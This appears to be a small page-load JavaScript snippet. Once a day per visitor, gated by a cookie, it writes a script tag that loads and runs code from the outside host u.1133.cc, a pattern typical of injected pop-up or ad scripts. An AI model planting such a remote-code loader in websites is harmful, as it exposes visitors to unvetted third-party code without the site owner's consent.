function xiayunet(){
var Then = new Date() 
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString() 
document.write("<script src='http://u.1133.cc/showpage.php?pid=1002&show_t=2' language='javascript'></script>");
}
}xiayunet();